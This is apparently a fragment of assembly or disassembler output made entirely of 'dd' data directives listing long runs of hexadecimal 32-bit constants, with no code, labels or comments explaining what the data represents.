		dd 0E9E61370h, 0AD45530Eh, 5D1704A6h, 0D0BA404Fh, 88194E74h
		dd 0EDE92B13h, 0D286F7A0h, 0B010AA2Ah, 29175206h, 0C701F91Fh
		dd 6FF37307h, 1F1BE7D8h, 1F321E76h, 0A220BEFh, 0CA6B1502h
		dd 0E96E2107h, 0AA83D8D0h, 8D1DFDE1h, 0D4ADE909h, 725627AAh
		dd 5DD37DD2h, 0CAAB4596h, 215A1C30h, 0D71ED727h, 83E719Dh
		dd 66A7B38Dh, 0F2554E55h, 0AB84D31Eh, 7F8752A4h, 0BAF609EEh
		dd 51FE5F7Fh, 5383011h,	7B0A570Bh, 3575F5F0h, 59849BC4h
		dd 76EF0735h, 0BE5B055Eh, 164B4F05h, 1FBD40EFh,	305AD728h
		dd 105BF83Fh, 0C72E8499h, 0DF0ABB9h, 3096FEA2h,	0F2407ED7h
		dd 20641FB1h, 0AAF7D2CBh, 0BF31F188h, 56970352h, 0A8CE727Ah
		dd 0B7A2228h, 0C7F6A09h, 0D5A8D754h, 20E90508h,	5954BEC6h
		dd 57F20374h, 0B7E520Fh, 0B3E90212h, 1F68FBA0h,	647A3E2Bh
		dd 0DE6ABE25h, 8131E5F3h, 52A29D2h, 6151BBAh, 0DCD14FE9h
		dd 4340DF87h, 0EF3D58E9h, 9F42F79Ch, 725B6AABh,	5779F00Bh
		dd 0D98629Ch, 256FEB01h, 2DE94B2Ch, 0EEEB27FFh,	0B6F6335Ah
		dd 8296934Ch, 0DFF02887h, 0B9F1F14Bh, 6312B3Bh,	943857D7h
		dd 0E863B205h, 7DDD0905h, 5874CA50h, 76E888BDh,	0C1215D42h
		dd 0A42A7369h, 859CEB1Ah, 7DDCC14Eh, 63E41F7h, 64E74F80h
		dd 0CD1797ECh, 0EAC3B959h, 91C9D049h, 7DD30535h, 1A782E9h
		dd 7F572F66h, 2CFB4802h, 62B6F9BFh, 36FCF229h, 0E17EFB59h
		dd 71FC2EAFh, 585A59F6h, 9FAB9E85h, 0A5B45F5Fh,	31644AA9h
		dd 5D81769h, 22D1BFCh, 0DAB09CC6h, 87442041h, 94A2C2h
		dd 9C3D9035h, 0E8AC075Eh, 39C8B82Ah, 364D3A68h,	1E655881h
		dd 0A3C12A4Ch, 3165989Eh, 0F74E16F4h, 18DEA3EBh, 884FEFE9h
		dd 0CAA28307h, 0CC017BC0h, 3CBB32C1h, 0BFF8DA29h, 0D70BDF40h
		dd 0B961C3DEh, 66D51298h, 39419C90h, 0EDAB16Fh,	8D284ABEh
		dd 6FB94193h, 0F2C7DAF0h, 0DED74844h, 9692EAD6h, 0F9CBAA30h
		dd 6B54F90Ch, 255842C1h, 683EDD14h, 0D0BFF58Ch,	772116FFh
		dd 0F3020B1Ch, 3FFABF49h, 38665614h, 66E25A36h,	0EA911263h
		dd 0A2058A00h, 29716259h, 2F577DF0h, 0A3A1058h,	7405F62h
		dd 12B7D122h, 0FB64DFB2h, 32977679h, 0C0095CAFh, 9285E45h
		dd 8CE3810Fh, 0C11FE47Eh, 4B360EEFh, 8E7F67BAh,	5B0658ECh
		dd 68510958h, 8B5A6531h, 4801AB40h, 1B0490CEh, 0B215DE66h
		dd 13E98341h, 61A84CD5h, 1430EB03h, 0A6E16D37h,	6CD02B25h
		dd 175159DCh, 30862B1h,	0C2E95001h, 2E5F433Bh, 899EAFCDh
		dd 0E24CADFEh, 689C02Fh, 3BB70753h, 33AAE780h, 0C7B194F7h
		dd 4FB34F9h, 36204031h,	0F0741F50h, 4EBFEED8h, 28A13997h
		dd 4DE90DEEh, 0FD3810AAh, 0E4208A7h, 0B9580BB0h, 0CC31C509h
		dd 73110F12h, 2956F05h,	5152F60Bh, 5C2EBE61h, 0E5DADF6h
		dd 7906E92h, 0D7946CF8h, 818A084h, 2F4FB91Ch, 2C5567BDh
		dd 12B16E08h, 0FA80F961h, 425E1F04h, 5EA9B907h,	648D2E79h
		dd 250C0578h, 71877A5Ah, 7E65C1F7h, 0EDD599BAh,	9BA22AF8h
		dd 5019FAD6h, 28FCB40Ah, 737EB5E3h, 4598336Fh, 0ACE85B30h
		dd 8BAEA5ACh, 3BE984C9h, 668F2D0h, 379B2F03h, 219067Ch
		dd 0F83E290Fh, 0CD89A132h, 0B9D73B22h, 89492D3Bh, 185FE7Dh
		dd 2765552Ch, 0EDD22A29h, 0AEEEC15Eh, 61819B2Fh, 0AF18E9C7h
		dd 3A574CADh, 2C1A5FF3h, 0D7222B75h, 16920A47h,	57EF3592h
		dd 6675552Bh, 849D94D8h, 0BC3F6768h, 44FDC1DAh,	36A429Ch
		dd 45086B74h, 0F0E5809Ch, 7661D461h, 0B17B0B0Ch, 0EB6860h
		dd 1E2BB6F2h, 0C15BDA09h, 6802E205h, 89F320F0h,	2F2AC701h
		dd 0AFC20956h, 37D1BBh,	6658E108h, 0C741B68h, 1B435C0h
		dd 9CB514E9h, 0CA5A535Ch, 6594A5A2h, 3D920105h,	4C68F264h
		dd 0FCA17E5Bh, 425F30ACh, 0C608A597h, 0AE128CA2h, 20539DDCh
		dd 35402E12h, 5AD01288h, 771EFC8Ah, 0E906DA94h,	9595454Fh
		dd 68617BF9h, 844D53A2h, 0DD54D941h, 4CEEE77Ah,	4BC34F0Ah
		dd 738776BDh, 0D4DF5C66h, 4506C300h, 0CB012E35h, 802BAA2h
		dd 0BB8A8959h, 44CF0263h, 607F7C76h, 0A0D00108h, 240305E1h
		dd 2FD656A1h, 6A488841h, 0AC94DA87h, 715BB7D2h,	0BFD1A5CDh
		dd 671A16h, 5AC0FD82h, 51E4C0BFh, 0E580E7B5h, 0C5FE371Dh
		dd 0AC9BF54Eh, 0BF680ACDh, 2CC832C8h, 0D10EDA5Ah, 0C9D80E70h
		dd 0E9BE015Bh, 548FE3CCh, 5278B7B5h, 0B60B52D1h, 86D6F61Ch
		dd 5C06D9E8h, 1649D2E9h, 5B53BE4Eh, 37889E5Fh, 0E92F2482h
		dd 956C1EF5h, 729DDC16h, 40294290h, 3612769Fh, 0DAD075BAh
		dd 17F5200Ah, 0B026E911h, 0C6C453AAh, 27AF98DAh, 30BBA43Fh
		dd 2C65B7C6h, 13A97220h, 523B98Eh, 0CBE5C14h, 0CF48A0BBh
		dd 1E38D00Eh, 0F3F7C02Ah, 13DA82E3h, 1F5FFB89h,	577F052Eh
		dd 4202F163h, 7CCAC317h, 0A7D8F161h, 0C9AB595Bh, 12421C7Dh
		dd 0B7710568h, 69B88EAAh, 0C11707D2h, 2D68171Ch, 0BCFC42D4h
		dd 601DE970h, 2DAD0AE2h, 0A3A6291h, 36C48B32h, 0D8E38641h
		dd 0E80883CEh, 489576E3h, 5285932h, 5F648207h, 0E90425CFh
		dd 0AAF492BBh, 70B7A046h, 97AF774Fh, 16764962h,	8AD7617Ah
		dd 2C58994Ch, 25A85452h, 0D72DC400h, 9095DF7Ah,	0C43A64BEh
		dd 64AAD03Bh, 70AFFB53h, 34EDE926h, 0FDEAB3C0h,	0B819A375h
		dd 84824A36h, 63CCFF38h, 6CC2BF6Ah, 2C408EF1h, 5EB5E936h
		dd 1E264C7Ch, 38BAA089h, 766B3C91h, 0F0FE5020h,	83C0D9B5h
		dd 90A3277h, 932303E9h,	0A9A88F5Bh, 70035ACBh, 143C75F2h
		dd 0CF1E4B5Ch, 0D11588h, 0FE0E482Dh, 0F05C011Ch, 25084240h
		dd 0A355945Eh, 0AB3CC98Dh, 4D99A32Eh, 7FD1026Ch, 0A52915A9h
		dd 0A4F0481h, 6CCB015Bh, 0F1E7F448h, 0C2E2F8F3h, 4CA704BDh
		dd 701C0507h, 0C5313560h, 0DB603EF8h, 8719C25Fh, 0C296E47h
		dd 7DFA6382h, 921148D7h, 5C1F202Ah, 7F4AF10Fh, 0A2F28F61h
		dd 0E18208D9h, 8A3AE6C2h, 856359B2h, 0DDFABEF7h, 3931EC57h
		dd 3121ECB5h, 451D624Eh, 79D12BCDh, 0A9070A34h,	3783415Dh
		dd 5AB97BF8h, 54FFD29h,	58850431h, 8CEE88E1h, 198A1C08h
		dd 0A167C422h, 138B325Ah, 67FF4294h, 67D3A25Dh,	8550F574h
		dd 0E58CBC94h, 771B4456h, 0DFF7053Eh, 16DA2BC0h, 86095F61h
		dd 5BFC175Ch, 0E25A7825h, 0D5CA77B6h, 1E13035Fh, 95EE4EABh
		dd 0CA81AA25h, 7360096Fh, 476E2DCDh, 819CF56h, 85F60409h
		dd 0C3815187h, 81045EF2h, 0E072D31Dh, 0A9BC292Ah, 0D028F600h
		dd 0F901508Dh, 0FCD2DD38h, 0F2E9F37Dh, 0B7526BB4h, 8820FFF9h
		dd 66D55C41h, 5A082507h, 0DEF4596Bh, 484591D5h,	1C70FA7h
		dd 704E4DDh, 0B3BA46C4h, 4C80965Fh, 4E796853h, 0D24CF854h
		dd 6B40A40Eh, 4186007Dh, 8381E6E9h, 0C0C4FEB8h,	0A06E430h
		dd 0E629EC80h, 0ECD47BCCh, 5E0CC207h, 447867E9h, 3952BF1Fh
		dd 0D2297249h, 21970B53h, 175E5385h, 0C2A008A0h, 8E17097Ch
		dd 0E7014B3Ch, 69955A1Eh, 24783424h, 0EB27B94h,	676C77ECh
		dd 66121F18h, 3E1434CDh, 854C760Bh, 58142071h, 7727265Ch
		dd 86CD04D6h, 5F8B8E3Fh, 0FB26B7F8h, 295A842Eh,	1617CBF7h
		dd 4201D701h, 4E05314Ch, 7F1F27Eh, 20246196h, 22D5F160h
		dd 0AA6D589Ah, 46607801h, 7FF9295Fh, 0CF2FBBCBh, 0CD02B6C2h
		dd 19C165AEh, 850328EEh, 0DAAE3C28h, 5BDC19C8h,	0C56B2912h
		dd 0AE0B853Eh, 5F584232h, 8CD69D78h, 279B55B8h,	7D5332F8h
		dd 0B23F82F1h, 0D51A8F07h
		dd 0D241DBCAh, 80BE0588h, 3209D671h, 4FB3B40h, 0E97F7A29h
		dd 0B5FAE099h, 5FB63117h, 84978E0Fh, 580BA21Fh,	7F7291FCh
		dd 0CDBC391Ch, 48116885h, 0E97130EBh, 12C0C521h, 0A743D8BFh
		dd 0DCBB3117h, 6DFB290Bh, 46567C6Ch, 0D2387B37h, 42314F82h
		dd 993AEC26h, 41C56F93h, 8DCA0757h, 76B3E90Eh, 7B56271Ch
		dd 451757Ah, 0B02E0C4Dh, 12CC12DFh, 9DFC485Eh, 838329D9h
		dd 0C2651674h, 4BB2006Ch, 0E95E4E87h, 0E180BDD0h, 6866097Ch
		dd 49643206h, 0C10E0F7Dh, 0AEE128B9h, 588ABFE9h, 249AE30h
		dd 7FBF9756h, 72A1D0E8h, 90967AA6h, 5DBA1A32h, 7C2DDB45h
		dd 8F1C7AC5h, 4F239B5Dh, 0BBB55DA8h, 0EBADA971h, 6DC04A02h
		dd 0E22E7586h, 3D024C54h, 56334443h, 0C7F75250h, 126CA6CEh
		dd 955A2E0h, 6E7C1h, 0D38BA3ABh, 0DE91314h, 640C585Ah
		dd 214AF3FEh, 1447CDA0h, 9505D65Eh, 4CD1E11h, 0AD1155BFh
		dd 40C78F82h, 0BF9C8D94h, 1027DD5Ah, 3B2A4886h,	0BD5580BEh
		dd 0A104FF09h, 0B9BF66Eh, 90D5D565h, 2F195E0Fh,	6AB65A7Fh
		dd 572DE912h, 4F38F4Bh,	0E2ABE7C4h, 719F187Fh, 80924129h
		dd 78000D48h, 0F720B661h, 176905D8h, 0B15EC0A9h, 80903F3Eh
		dd 58884E75h, 66645221h, 68AE8C54h, 98764B25h, 2539503Eh
		dd 0F0501EDAh, 4FE0B902h, 0D7315305h, 66E9C1C8h, 5F09352h
		dd 37076887h, 46E96A42h, 0FF59076Ah, 84B7B232h,	8E1431AFh
		dd 5A394072h, 3B355B5Ah, 8582A7BFh, 0D1AFF01Ch,	2AA37A38h
		dd 4B7AC4F6h, 0FE111715h, 0E7F69633h, 65660A0Eh, 23E00A13h
		dd 0A8CEA551h, 6FF50B23h, 0A6806D7Fh, 7CD63EAh,	6BE02D0Fh
		dd 54F474C7h, 9B0968D2h, 610E3E79h, 0FA497D6h, 4991CE9h
		dd 0EF292754h, 4C08C710h, 0F9A02D3Ah, 0C7288BFBh, 0D27090DDh
		dd 0EFF9C051h, 618D153Bh, 0D9033AB8h, 0E90EE264h, 0B2D14C33h
		dd 5407E103h, 0F7E13740h, 2DC06D2Dh, 5234C19Bh,	0A85EE826h
		dd 0E882B4F1h, 3C94578Eh, 0A294C604h, 0EB13E5FDh, 0E90937CEh
		dd 0AC5A01A3h, 30E45F1Fh, 1E0980E8h, 603FFD3Bh,	8B25F244h
		dd 7432E7E8h, 1555403Eh, 0D03E0473h, 0A9318430h, 18EAAA88h
		dd 0C733B3Fh, 2D286F49h, 809827Eh, 5014A45Dh, 0E7A5208Fh
		dd 0B185B601h, 5AF12890h, 0FE22A830h, 0C4B4DC5h, 5568F844h
		dd 37F8B9C8h, 68B897B1h, 73056852h, 5A306134h, 67023180h
		dd 4E31EADFh, 81A1B9CAh, 0FE375AF2h, 0F7619247h, 0E9C84668h
		dd 0B950400Eh, 5C2DC300h, 0D7C1811Eh, 6DF82E21h, 4EE0221h
		dd 9F7E030h, 0C31A006Ah, 4A7D35A7h, 263F524h, 60D75F08h
		dd 82A542E4h, 55DAA25Ch, 9926FD73h, 0CC4B42h, 108CCA81h
		dd 9259783Dh, 0AEB796A4h, 0F0B25201h, 3B90EA80h, 0A2DB96C2h
		dd 44D830CFh, 436813AAh, 8B3BE75Bh, 80ED7902h, 0E970C380h
		dd 16BFDCCFh, 0A9D4B734h, 5677A7C2h, 0D8C98EB0h, 683FB3E0h
		dd 0DFA84523h, 0C5BD08D1h, 0BD360935h, 0F80AEE5Fh, 81A654C0h
		dd 48E303F1h, 0CA21686Dh, 5ADD8FEAh, 4DC302BAh,	29256664h
		dd 8837B58h, 4E5D1C00h,	3DE97459h, 0C5BA569h, 0EB67F6CAh
		dd 1392E7Ah, 97CB3E59h,	0A34E305Ah, 9A4CE4F2h, 0C12F7E8Bh
		dd 3A5F5941h, 0FB5B95A6h, 0F5BBD829h, 115D4640h, 92C76C5h
		dd 4BC03DAEh, 9836642Dh, 336A0474h, 0AF4E5F1Dh,	5D98BD80h
		dd 91416E1h, 0CFE001F7h, 3F9205B4h, 32869E0h, 877A6751h
		dd 64F42D7h, 8D4078CDh,	50287201h, 26CBAA4Bh, 12971A38h
		dd 6D3BE11Fh, 60E9E091h, 0EF591C3h, 618947DFh, 8DF28FDh
		dd 5A41D42Dh, 377D5ADFh, 7B105359h, 3313E07Ch, 3D16D8EAh
		dd 81CCEC4Bh, 7F5A04B4h, 0AB5C0106h, 0C41E5A2h,	4C321E75h
		dd 116304D3h, 22DDAABDh, 5D9A6F55h, 6164C85Bh, 0BF03809Fh
		dd 7DA06A36h, 2436BA10h, 6F648EA2h, 0BC393205h,	71EAA2D1h
		dd 335749A3h, 0D852BA3Dh, 42C641E9h, 78E80548h,	316A32Dh
		dd 2E006719h, 18DC249Dh, 44E720E9h, 24EF8724h, 0BA022E10h
		dd 337A4C91h, 0B0AAC477h, 0C6C23FE4h, 0F10C4B7Ch, 84BE01B1h
		dd 2B5F4887h, 2972FB64h, 0CE0B5AC1h, 507CB800h,	352C280Dh
		dd 0A16B0B78h, 9E782800h, 29AC7409h, 13E5D7C5h,	0C4882D94h
		dd 0DDAFC029h, 62BAED27h, 0FCF7026Eh, 0DD6DD848h, 25509A11h
		dd 11A02B4Dh, 961A1D10h, 0AE38011h, 831D5753h, 0C3FE01F8h
		dd 0F3B61097h, 577C6E2Eh, 0B130D8C1h, 0FC368E42h, 18754C16h
		dd 635D1003h, 4AF9044Bh, 0BA807038h, 124D1BA1h,	87EEC158h
		dd 7BE371B1h, 0C8480EAh, 1297A17h, 66DEA0F3h, 5557801Ah
		dd 64D16804h, 4DC00CFDh, 145874F5h, 0E24D3F32h,	79084405h
		dd 1244FF25h, 8A0AF1C9h, 7E561EA6h, 16111DDAh, 0D00BFED0h
		dd 731C82EFh, 3B8009AFh, 0E010FEEh, 905C465Ch, 6EF05008h
		dd 2AC5A12h, 8E8615AEh,	70CBBEB5h, 941F3048h, 21F5765h
		dd 0F43F9896h, 0DC037676h, 0E36266Dh, 345C7EC8h, 0AFC7E9E5h
		dd 5519B844h, 0FAD8B549h, 50EE519Fh, 0C269A8E9h, 6D07F540h
		dd 0B21A92FDh, 77D98802h, 62CEEF87h, 905D5AF7h,	0B5C0AC05h
		dd 560268F1h, 0C6678568h, 5A5E2D6Dh, 0CADC9B99h, 37F10C48h
		dd 19763517h, 1D1A9CE0h, 4CED302Bh, 0BD24E2F9h,	0CF440E09h
		dd 7E5575Dh, 6678601h, 70E2E925h, 90B9067Ch, 5E1D4136h
		dd 0F83D7F0Bh, 33447F7Eh, 6EDC0C95h, 39203067h,	0E3DBC15Ah
		dd 3164330Ah, 5996D3C8h, 41079DC5h, 47E57D43h, 7885D0FEh
		dd 1E406C7Bh, 4BFD7CCCh, 50BDB0E7h, 69FFF9BFh, 80A23E57h
		dd 25685304h, 5DE62E10h, 30012BE3h, 264E07B9h, 6CD91931h
		dd 0F2775D02h, 2047B054h, 0B91DE1ECh, 64D36245h, 8A8F04BAh
		dd 0C409E8D0h, 15B21E23h, 27ED9986h, 0FDFB6195h, 8AE2A37Fh
		dd 0AE00A850h, 0B83F6310h, 0B00BD3B2h, 38961437h, 64570507h
		dd 8A219F7h, 17BF00D9h,	7160301Ah, 5B72587Ah, 0E5681578h
		dd 3381EC5Ch, 7A87D6CDh, 4858C586h, 0AC16C85Fh,	0D98DEEC8h
		dd 0EBAD903Ah, 34F77088h, 96F4734Ch, 0D3013704h, 0D9E8FCE9h
		dd 0ED93CD4Bh, 0FA176A12h, 0BB20FEF8h, 6612DC9Dh, 5AA16711h
		dd 25AA2879h, 0B949250h, 0A7D77E83h, 0A92019DAh, 7C53F892h
		dd 12070952h, 15800C57h, 0C463CCF2h, 8B0A2058h,	3DA55E06h
		dd 0F47CAE16h, 0C500F36Ah, 52409160h, 96DD82E9h, 73A8017h
		dd 0D4350238h, 74967101h, 412DE105h, 4AF5E9F0h,	631AAABh
		dd 65730902h, 0D9E9540Bh, 66AC8D21h, 0E94AED68h, 0DA413F56h
		dd 4D463AE3h, 82162FE8h, 90E54355h, 1CB151FAh, 97D9F6A9h
		dd 0B906BAD1h, 67061BE9h, 83382492h, 4D05E62Ah,	3F9501BFh
		dd 0BBEE8BC1h, 2ADC0FAFh, 90C1AF3Eh, 5BDEE9E1h,	1290F3ABh
		dd 75FB035Ah, 728AF68h,	0E9B849B9h, 0CC5C804Bh,	50BD2A49h
		dd 0A5599CF3h, 363B8843h, 6D571843h, 493B680Ch,	20107B63h
		dd 0F6800EE6h, 0B9EE6027h, 0F35AF528h, 5A207ECCh, 3823F6ECh
		dd 2D44D238h, 45704295h, 0FE6884EBh, 0A28EEE05h, 0FB12CF27h
		dd 6C1F3240h, 0E9460A05h, 0CBBED031h, 0FD9741D2h, 0C8D9CADDh
		dd 0A5B95317h, 1A5DEB86h, 8997E927h, 0A7369793h, 281D0561h
		dd 0B00AA1A9h, 1ABB355h, 5356B1F1h, 0FA3D6072h,	6C0D1402h
		dd 76ED98E9h, 9E8F8B6Bh, 873099D7h, 0C6EE20E2h,	787B2032h
		dd 215AA49h, 455489BAh,	1EE4DF3Ah, 421310Ah, 848ED7Ah
		dd 17091C34h, 8CBA085Ah, 34C9F6AEh, 0E859BDB7h,	9EEEDF6Bh
		dd 97B2E926h, 80EB298Bh
		dd 0E42CFC64h, 0C2FEC018h, 5D6C164Eh, 75E95309h, 9D147FACh
		dd 0FF90F095h, 0DD34BBF9h, 0D9255C52h, 164FB14Ch, 8B92BB01h
		dd 4845DD14h, 0F475AFA0h, 68180806h, 4C0A3D2Ch,	5800035Fh
		dd 402FE712h, 0C231A02Dh, 0EDE26E29h, 0D604AB04h, 87059CDCh
		dd 0FD0BFEDDh, 401BD791h, 98F50CE2h, 50069C24h,	5EB2F8FDh
		dd 2F0D4007h, 5268866Ah, 5E62F0B7h, 0EA1016AEh,	9D977061h
		dd 1DC65B92h, 0BD4116FDh, 4D3B2083h, 5F79AC80h,	0B464C274h
		dd 2FDF1B41h, 0F7BE5600h, 904CB81Dh, 617B1212h,	0C6E400B3h
		dd 0CFC6EFDh, 0EA00BBB0h, 0D13A7919h, 4EB1E9EEh, 0E3144386h
		dd 9AA5444h, 4808BED1h,	27BA177Bh, 0B785A2C2h, 0F725FA64h
		dd 44F25B3h, 1E216C7h, 0CBA2FEDDh, 0F688B776h, 5BFA2D1Ah
		dd 0C21FCD50h, 84D2DB1Ch, 2BD789C9h, 283FE4Bh, 26F754ADh
		dd 9760BB07h, 5AD6E922h, 413A4415h, 922C1DE2h, 5F253C10h
		dd 295F1370h, 17CBBA95h, 73D302D2h, 0A8F5529Fh,	1F24082Bh
		dd 0A84C962h, 67680BD4h, 8D4C185Dh, 2BC0828Eh, 0E7BE5B17h
		dd 33FF5A97h, 70483301h, 22772F17h, 0D712EFD6h,	9FCDB9Ch
		dd 8BF11064h, 205389BAh, 1D129D79h, 1C423888h, 23D46E9h
		dd 0BB76EE29h, 29415851h, 672F0189h, 600BA280h,	1EB2580Ch
		dd 0CA1A5847h, 1677B10Fh, 539DEEF8h, 7B07E16Ah,	41298FDCh
		dd 3BF513FAh, 15DD0BAFh, 0C3300294h, 89FF3CE9h,	16411EE1h
		dd 44A89FE9h, 0BC43220Dh, 557F1C7h, 9B250BBBh, 3667905Dh
		dd 78C2E1A1h, 58D4BE0Dh, 66025C2Dh, 0D80120EAh,	62078A05h
		dd 5DCB2810h, 60975A46h, 0FBF4AECh, 0F1D5B851h,	4CD60289h
		dd 24192502h, 0E74EC098h, 0ED81A8BEh, 41B71A9h,	0D7685A2Eh
		dd 2937AA70h, 4D122FA5h, 0F82D96D0h, 6754341Ah,	8507149Bh
		dd 2C813014h, 4BF7A63Dh, 30A497D3h, 60AA7FE9h, 9E5260B8h
		dd 5EF20BD8h, 2CEC039Ah, 0E23F0E29h, 208967C5h,	6082007Eh
		dd 429D5AB4h, 0E092C1CFh, 0F7877262h, 0B088D4E1h, 0F5AB77Eh
		dd 62CE90A5h, 0DD624AACh, 0F9BF91E5h, 5D0245BCh, 9B5A6F68h
		dd 12EEC782h, 929DF5F3h, 0D758ABE9h, 270BAE0Ch,	0DEA83609h
		dd 12732408h, 6389ABD1h, 0BA9AE0E4h, 7E6B0FB1h,	0AF492690h
		dd 0D52F3DD4h, 0C07F3C32h, 88434B58h, 0B88009FDh, 6B251EBFh
		dd 4B6A9749h, 0C582ADF5h, 5104D9D5h, 4AE33683h,	3C31F60Ch
		dd 5F804ADDh, 4AEF4B87h, 7BA1032h, 0CCCB805Eh, 0D9A20379h
		dd 3645AE09h, 0D5698F1Ah, 957D9487h, 5CD4073h, 31110B20h
		dd 0E5462B7h, 4AD6A007h, 15D7F8Dh, 197C3705h, 0F6F00117h
		dd 400DE013h, 0F790BFFDh, 729E413Dh, 9D386350h,	0BA93B8D9h
		dd 702F13B1h, 0B12F9C6Fh, 4F295F32h, 13BE7C91h,	11C9B659h
		dd 0EA5F0A5Dh, 18757D75h, 660649EAh, 34CF7B03h,	22927905h
		dd 64B929C7h, 3E12F580h, 0D99758FCh, 46D30166h,	65567AABh
		dd 75C56BCBh, 41AEACC4h, 7E6CF364h, 29F02E5Fh, 824101EFh
		dd 0E9C62967h, 0E6B56BBCh, 6C9620h, 0B90B3235h,	52864FE5h
		dd 5CF13127h, 0C8E7C2A9h, 8140FA55h, 0B9005297h, 0AD4F11C9h
		dd 9759E08h, 0C701h, 57F874CDh,	679402FAh, 0DB3A8D26h
		dd 2D6B9BF1h, 398B2ADBh, 20EEDC13h, 77151223h, 83264095h
		dd 10BE1D57h, 1ED87B4Bh, 90A3B916h, 0B44A75F9h,	0D5294813h
		dd 0C082810h, 27DA42E9h, 6947BC7h, 0E7C13E3Ah, 34091202h
		dd 7FA18674h, 9BD15187h, 42FE32F7h, 8E667553h, 3E9E019Dh
		dd 567059ABh, 9D612DEFh, 330FE2FCh, 1B2C0A0h, 6069E9F1h
		dd 0E0F279B9h, 1A1F4597h, 149D089h, 5D8412B7h, 0FCABBD23h
		dd 0D5F61409h, 69CB0E66h, 0E5B6D7E6h, 0B94FEE90h, 85C62BD7h
		dd 0B1EF62Fh, 1326465h,	0F273787Eh, 98096AD6h, 4B50C8F1h
		dd 8107B059h, 2D1D1313h, 80CD18EAh, 0C84882FEh,	0E6135E39h
		dd 85EECABBh, 0A6F330EFh, 46094C25h, 2D4F477Dh,	0F961CBA4h
		dd 986518DFh, 3F72B032h, 0FA12D30Ch, 4D9E4648h,	29202715h
		dd 0C5B4CB6h, 780E5C48h, 2DFED226h, 0D6716DDh, 88344D6h
		dd 0A666609Bh, 41F5C55Ah, 0A1C5A86Fh, 0F7C739Ah, 4313D3C0h
		dd 0EF24C112h, 7025502h, 571BF811h, 4719498Ch, 0D4AC409Fh
		dd 0E9071C87h, 8E68A775h, 0E1253331h, 0C6200F2Ch, 5A82E52Fh
		dd 2ABAF0B1h, 145B6440h, 0A3284F88h, 8B898786h,	0EA2DE577h
		dd 0EE11F5C6h, 0F8E7A761h, 0EDC12D56h, 0ACD98255h, 58B3EB51h
		dd 0CD16F84Bh, 7A3FE4D4h, 1CA15709h, 66DAB85Bh,	8012B75Eh
		dd 0BBF5FA84h, 3206B4F2h, 0D42B7A76h, 46A2718h,	304CCAF6h
		dd 0C24EF428h, 38334687h, 0F8190C36h, 92299212h, 0B4C9012Eh
		dd 0F77B2B5Bh, 0E77630D9h, 0D79DC104h, 0B281CB31h, 0A8C3C5EBh
		dd 0B7DA0152h, 0B0DD329Ah, 55E9FADFh, 0A43ED4D4h, 23275F57h
		dd 97125F61h, 45F616DDh, 972A60B1h, 0AD13FE97h,	9DB7365Dh
		dd 65C0ABDEh, 39157E12h, 13056852h, 0FB5A57AFh,	770B36A0h
		dd 0ED20F751h, 535940D7h, 0EDF2545Bh, 0A1B850C7h, 6A10B07Dh
		dd 5EF7D8A0h, 46850BDEh, 0D50A9E50h, 90F10B07h,	9A11E602h
		dd 7EA555Dh, 0B6D080Ah,	954BB10h, 76ADB24Ah, 0C874E939h
		dd 655A4EC0h, 0BCD9C40h, 0EF76F701h, 0EC7E1A59h, 94D3C564h
		dd 7BE37DFEh, 7BAB5644h, 9072E902h, 3EC3ACA3h, 945BA8F9h
		dd 2708EBC7h, 38FD7E5Eh, 39681774h, 0CE8C3126h,	0AFB83AC2h
		dd 0FFF4AFA3h, 0E66E49CDh, 0CA8C9613h, 0EA5E32E9h, 65F9EE51h
		dd 1309E601h, 0BD442C12h, 57A96BC1h, 8740D347h,	8201D89Fh
		dd 5D4A9540h, 42F30878h, 88FC1CEh, 0D52C8CA5h, 86DCFED8h
		dd 30F541B5h, 0FB0B35E4h, 222AF060h, 7D39E3DDh,	4C0F0D18h
		dd 0F006552Fh, 2EE92768h, 53E14F68h, 0EF004FB0h, 0BB1AF43Ch
		dd 4A0BC315h, 2CA3A9E5h, 0E10815D9h, 0A2680425h, 0E731FF35h
		dd 5903E2F5h, 2E169BB1h, 0BE25DBA6h, 0DA922D74h, 31078A01h
		dd 0BF05190Dh, 5F676255h, 0FB4F5D9Ah, 9F208529h, 0E2460409h
		dd 0A8F9E96Eh, 2C583B7Dh, 7FAD7070h, 0BA5D5684h, 4E7878A2h
		dd 51A503A8h, 0CE90F988h, 0BB246859h, 5E6B4D24h, 58C5061Fh
		dd 0E9169F5Ah, 3BF68A07h, 69CC2C7Ah, 0C6E06CF3h, 4426C25h
		dd 54BAC375h, 0F44A4D65h, 8226E971h, 80A4C0DEh,	0CF4C0A00h
		dd 0AE28125h, 380923CBh, 5611038Fh, 560F10D8h, 0A56D7AD5h
		dd 60B896E9h, 8AEC800Fh, 0ABE64E05h, 962761A3h,	0EE594305h
		dd 798584E6h, 0DC0EB521h, 0D9BDF843h, 2B688E22h, 0E7782B58h
		dd 2DB2DC82h, 0A08994F5h, 0BD487FB1h, 9273DFDEh, 0CA290294h
		dd 4794BE1h, 54A346F0h,	2468F26Dh, 625B07D2h, 0D287DA88h
		dd 0A8CC54D1h, 68B65F89h, 0E5E5076Fh, 28798258h, 0E905C8FBh
		dd 0B540D07Eh, 0C38029B3h, 8A6197A7h, 2F2231F3h, 88D09791h
		dd 0D9F9F5C2h, 0D459CB4Fh, 0EAD62F2Eh, 1DE91454h, 0B6050EE1h
		dd 8013FE16h, 0A15273A5h, 1E1644Fh, 382EA339h, 96F740F6h
		dd 3C2FF415h, 5E6C6401h, 0EB6E162Bh, 0FA4FD88Fh, 0B15C2328h
		dd 9BCA09ECh, 0D81D9877h, 2F828293h, 1F427163h,	7F26C05Fh
		dd 0BAAD25CFh, 0A0CD7068h, 0C16CB89Fh, 0C906B658h, 68851E74h
		dd 0A4051747h, 24AFE8DCh, 19D5FE97h, 55EB8501h,	30830A9Ch
		dd 0F3040B8h, 4E6AE7E0h, 512F0413h, 77158D01h, 917A133Fh
		dd 7EAB1C03h, 0EF937DB3h, 4BE9C130h, 30D9BFE3h,	79B89E44h
		dd 6C21BE5Ah, 0CA62EB3Ah, 787DA905h, 88D4EF2Eh,	2BBC0816h
		dd 6A05EAB0h, 0B472D624h
		dd 3AD4F344h, 0D83B4B70h, 0EEDEC10Ah, 3E06B02Bh, 0C7323ACh
		dd 586B604Fh, 2F13D80Ch, 44FBA797h, 9CB7D0Eh, 240D621h
		dd 12E82338h, 9565E055h, 0EF2D80E4h, 1509211Eh,	463C5889h
		dd 64830F31h, 0D9AB4F44h, 0FB5EF9A5h, 0D0C1AB83h, 54FB6806h
		dd 5E588F61h, 5EFBF295h, 6B5A01FAh, 2CD2AA8Fh, 1DEE5F47h
